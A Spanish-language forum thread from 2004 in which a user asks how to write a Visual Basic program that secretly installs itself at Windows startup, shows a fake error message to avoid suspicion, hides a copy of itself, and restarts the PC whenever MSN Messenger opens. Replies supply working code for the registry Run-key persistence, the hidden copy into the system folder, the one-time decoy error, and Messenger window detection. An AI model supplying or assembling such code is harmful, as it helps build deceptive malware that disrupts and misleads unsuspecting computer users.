Dudas en VISUAL BASIC

Iniciado por Villamil, 6 Julio 2004, 22:19 PM

0 Miembros y 1 Visitante están viendo este tema.

Villamil

Para el siguiente programa, tengo 3 dudas:

El programa lo que hace es meterse en le regedit de windows y abrirse siempre que se inicie windows, lo primero da una msgbox de error del programa pa que no desconfie, luego cada vez que inicia messenger reinicia el ordenador.

Dudas:

1º.- ¿Cómo hago que se haga algo cada vez que se inicie el messenger?
2º.- La primera vez tienes que meterse en el regedit de windows, lanzas la msgbox... ¿pero cómo hago eso?, es decir, ¿cómo hago que unas cosas las haga sólo la primera vez y, otras, siempre?
3º.-En el regedit de windows dice donde está el fichero para que se inicie, pero yo creo que alguien lo mas mínimo listo lo borraría, así que, ¿hay alguna forma de que se guarde a sí mismo y se oculte para que no se de cuenta el usuario?

Gracias

byebye

#1
Citar1º.- ¿Cómo hago que se haga algo cada vez que se inicie el messenger?

una forma facil es buscar la ventana del messenger, o buscar el proceso con el nombre del ejecutable que buscas.

Citar2º.- La primera vez tienes que meterse en el regedit de windows, lanzas la msgbox... ¿pero cómo hago eso?, es decir, ¿cómo hago que unas cosas las haga sólo la primera vez y, otras, siempre?

pasar parametros es una buena opcion. pj: si no se le pasa ninguno es la primera ejecucion, si se le pasan ya a sido ejecutado mas de 1 vez.

Citar3º.-En el regedit de windows dice donde está el fichero para que se inicie, pero yo creo que alguien lo mas mínimo listo lo borraría, así que, ¿hay alguna forma de que se guarde a sí mismo y se oculte para que no se de cuenta el usuario?

alguien lo mas minimo listo se dara cuenta de todos modos.

y ahora que veo tu IM, no me mandes lo mismo que preguntas en el foro por privado.

Villamil

¿Como hago para que busque el proceso?
¿Qué es eso de parámetros?
¿...?
Pufff... explicarme algo por favor que llevo en esto de la programacion desde marzo + o -...
??? ??? ???

Mad Antrax

Mira, con este código haces que el programa se inicie cada vez que se encienda el PC y muestra un mensaje de error SOLO la primera vez:


Set File = CreateObject("scripting.filesystemobject")
Set Regedit = CreateObject("WScript.Shell")
Form1.Visible = False
Programa = App.Path + "\" + App.EXEName + ".exe"
Set SysDir = File.GetSpecialFolder(1)
File.CopyFile Programa, SysDir & "\King.exe"
Reg = Regedit.RegRead "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\King"
If Reg = "" Then MsgBox "Aqui va el mensaje de error :P"
Reg = Regedit.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\King", SysDir & "\King.exe"



Para localizar el proceso del Messenger tienes que usar una API, y yo me llevo un poco mal con las APIS, xD
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

byebye

Citar¿Como hago para que busque el proceso?
¿Qué es eso de parámetros?
¿...?
Pufff... explicarme algo por favor que llevo en esto de la programacion desde marzo + o -...

si no entiendes algo pq no empiezas por algo mas facil? mirate la sección de ejercicios que tienes para entretenerte un rato.

Villamil

Bien, ya lo conseguí a mi manera
para lo de que sólo la primera vez modifico una clave de 0 o 1 y listo , y para que se guarde a si mismo probe que copie el file: ".\nombreprograma.exe" pork creia que funcionaba pero.... lo copio para la carpeta de windows k casi nadie miray ya ta.... pa lo de msn me imagino que cambiara la clave k ai en el registro cuando esta activo o no, si no..... pos a discurrir...

ø:|The_hacker|:ø

Mira tengo una idea para detectar cuando se abra el messenger:

hacer un ejecutable que este preparado para detectar esto...


Y esta es la idea:


Option Explicit

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Dim MSN As Long

Private Sub Form_Load()
      Do While MSN = 0
           MSN = FindWindow(vbNullString, "MSN Messenger")
      Loop
      MsgBox "El Messenger esta abierto"
End Sub


Espero que te sirva...
..Empieza por hacer lo necesario, luego lo que es posible, y de pronto te encontrarás haciendo lo imposible..|:ø:|The_hacker|:ø:|

byebye

si el messenger esta en la bandeja no lo detecta, por lo que me gusta mas buscar el proceso.

Execod

es mejor encontrar el proceso, es mas preciso, ayq ue algunos programa tienen dobles espacios en sus nombres,..
On Error GoTo:

http://scodman.tk

<EOF>

chofoman

Necesito ayuda...

Necesito q el mes actual de la makina lo devuelva en un label...pero solo el mes como lo puedo hacer...muchas gracias